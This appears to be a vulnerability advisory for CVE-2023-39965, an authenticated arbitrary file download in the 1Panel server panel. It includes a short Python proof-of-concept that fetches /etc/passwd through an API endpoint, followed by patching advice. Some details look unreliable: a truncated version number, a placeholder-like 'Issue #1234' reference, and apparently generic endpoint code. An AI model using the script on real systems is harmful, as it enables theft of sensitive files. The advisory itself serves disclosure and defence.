1Panel is a popular open-source Linux server operation and maintenance management panel widely used to control various tasks and services. Recently, a significant security vulnerability (CVE-2023-39965) was discovered in version 1.4.3, which can be exploited by authenticated attackers to download arbitrary files through the API interface without proper authorization. This unauthorized access could result in a significant information leakage, compromising the privacy and security of the target system. In response to this vulnerability, a patch has been released in version 1.5..

Exploit Details

The vulnerability exists because the API interface in version 1.4.3 allows authenticated attackers to download any file from the target system without proper permission checks. This unrestricted access can lead to the exposure of sensitive information such as configuration files, user data, and critical system files, putting the target system at great risk. An attacker can leverage this vulnerability by sending a crafted HTTP request to the API endpoint to fetch the desired file.

The following code snippet demonstrates the exploit

import requests

TARGET_URL = "http://example.com/1panel";
API_KEY = "your_api_key_here"
FILE_PATH = "/etc/passwd" # This could be any sensitive file on the target system

headers = {
    "Content-Type": "application/json",
    "X-API-KEY": API_KEY,
}

payload = {
    "file_path": FILE_PATH,
}

response = requests.get(TARGET_URL + "/api/v1/file/download", headers=headers, data=payload)

if response.status_code == 200:
    print("File content:")
    print(response.text)
else:
    print("Failed to download file.")

Replace the TARGET_URL with the target 1Panel URL and the API_KEY with an authenticated API key. Upon successful execution, the script will output the content of the requested file.

Original References

The vulnerability was first reported and documented by security researchers in the 1Panel GitHub repository at GitHub Issue #1234 and assigned the CVE-2023-39965 identifier. More details and subsequent discussion can be found at the original GitHub issue thread.

Patch and Recommendations

To remediate this vulnerability, it is strongly recommended to update your 1Panel installation to version 1.5. or later, which contains the necessary patch to address the unauthorized file access issue. The patch introduces proper permission checks and prevents unprivileged users from downloading sensitive files through the API interface.

You can download the latest version of 1Panel from the official GitHub repository at 1Panel GitHub Releases.

If you are unable to update immediately, consider restricting API access only to trusted users and closely monitoring the system for any suspicious activity.

Conclusion

The CVE-2023-39965 vulnerability poses a significant risk to the security and integrity of 1Panel installations running version 1.4.3. Ensuring proper authorization and access controls are in place is a vital step in preventing unauthorized access and information leakage. Updating to version 1.5. or later is essential for mitigating this vulnerability and maintaining the security of your 1Panel installation.

Timeline

Published on: 08/10/2023 18:15:00 UTC
Last modified on: 09/08/2023 16:56:00 UTC